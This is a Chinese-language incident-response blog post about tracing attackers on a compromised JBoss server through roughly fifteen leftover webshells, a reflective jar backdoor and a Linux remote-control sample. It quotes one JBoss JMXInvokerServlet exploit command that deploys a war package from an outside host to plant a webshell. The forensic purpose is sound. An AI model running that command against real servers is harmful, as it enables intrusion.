由Webshell溯源攻击者的入侵途径

围观次数:1,457 views

前不久接到一次应急响应任务,某集团的网站被种植了后门,我们的工作就是查找攻击者的入侵途径,分析网站存在的安全问题,并清除掉网站上所有的webshell,并找到攻击者的ip地址。

本次任务的难点在于,管理员提供给我们的只有打包后的源码及日志。经过查看各种配置文件,发现受攻击的ip是一台内网的linux服务器,外网ip80端口由nginx转发到内网的192.168.1.X服务器上的jboss中间件的8080端口。分析到这里,马上会想到可能是jboss中间件出问题了,jboss入侵的大体思路,jboss最常见的漏洞就是jboss命令执行了。随着后续分析的深入,发现也有攻击者利用jboss匿名访问漏洞上传shell。按平时的分析步骤,接下来只需查看日志就可以分析出攻击者是否是利用这种漏洞进行攻击的,但事实上没有这么简单。

我们从打包的文件夹中,找到了半天,也没发现任何有价值的线索,最后查看server.xml文件得知,以下关键内容被注释掉,也就是说jboss的应用程序访问日志记录功能没有开启。

1

而另一个重要的日志server.log日志为空。

3

这意味应急响应中最重要的日志分析这一环节空缺了,在不依赖日志分析的情况下如何去溯源攻击者的入侵行为呢? 

这里就要讲到一个jboss命令执行漏洞的细节了。大家都知道,jboss命令执行漏洞的利用方法是使用java -jar jboss_exploit_fat.jar -i http://x.x.x.x:8080/invoker/JMXInvokerServletinvoke jboss.system:service=MainDeployer deploy http://www.xxx.com/demo/test111.war这个命令远程部署一个war包,默认应该是会在/tmp/目录下留下jartmp2255450685281709390test111.war及解压后的tmp2255450685281709390test111-exp.war文件夹,然后我们访问http://x.x.x.x:8080/test111/test111.jsp就成功地拿到一个webshell

2
  但是分析本次实例中的/tmp文件夹发现,里面竟然是空的。

4

这里需要讲另一个关键点:当jboss中间件重启之后,默认tmp文件夹会全部清空的。那我们是不是没有办法找到jboss命令执行的痕迹了呢。

实际上在对应的localhost文件夹下,java写的webshell会留有相对应的.java.class文件的,并且这些文件在jboss重启后不会删除的。攻击者通过漏洞上传完webshell后,进行一系列恶意操作之后,通常会清理掉webshell,但是很少有攻击者会考虑到localhost文件夹下也是留有痕迹的。

接下来跳转到localhost目录下,可以发现很多webshell。在这个重要的localhost文件夹下,总共发现了13webshell后门。

5
  比较有趣的是第一个webshell,它以“_”命名,这是攻击者的一个障眼法,第一眼看会误以为是系统自带的一个文件夹,但是一层层目录打开之后,发现了其中的webshell

6

接下来还要继续检查其它地方有没有webshell后门,很快deploy下面还藏有第14upload.war包后门。

7

这个后门让我们疑惑不解。前面讲到,通过jboss命令执行漏洞上传的webshell,在中间件重启之后会自动清除的,那么这个war包的shell为什么没被清空呢?后来经过一番思索,不是jboss命令执行,那么应该是另一名攻击者以jboss匿名访问漏洞直接上传的war包。

接下来,在正常应用zjgf-inter文件夹下,发现了第15webshell。这个webshell的上传者也很聪明,他为自己留的shell命名了一个与正常应用文件gjcesjsp相似的名字gic.jsp来迷惑我们,让管理员误以为这是正常web应用的一部分。

8
  最后在做排查时,发现了一个差点被遗漏的webshell,这个shell比较特殊,真正的.jar格式的,是一个反射型webshell,可以过很多杀软的查杀。

9

使用jd-gui反编译工具可以很轻易看出此webshell的源码

10

继续寻找,找到了一个Freebsd,这是攻击者遗留的linux后门。

11

由于这次任务没有可靠的日志做支撑,又不能提供服务器权限,找到攻击者的ip几乎不可能。但是这个linux远控让我们看到了希望,将此后门放在虚拟机里运行,netstat -an成功追查到攻击者的ip

12
总结:

1、没有日志支撑的前提下,还是可以通过其它手段查到攻击者的蛛丝马迹的。本次实例中,攻击者遗留的webshell起到了关键作用。

2、不同的攻击者有不同的入侵思路,因而使用了不同的攻击手段,同时他们所使用的webshell也有很大差别,除了常见的.jsp.war格式外,还发现了一个反射型后门。

3、在网站遭受入侵时,管理员不要急于删除攻击者留下的后门,应该及时联系网络安全人员到场协助处理。因为管理员毕竟网络安全经验有限,随意删文件的结果,可能把攻击者的痕迹一并给清理掉了,对于溯源攻击者的入侵行为带来很大困难。

发表评论

邮箱地址不会被公开。 必填项已用*标注

广告赞助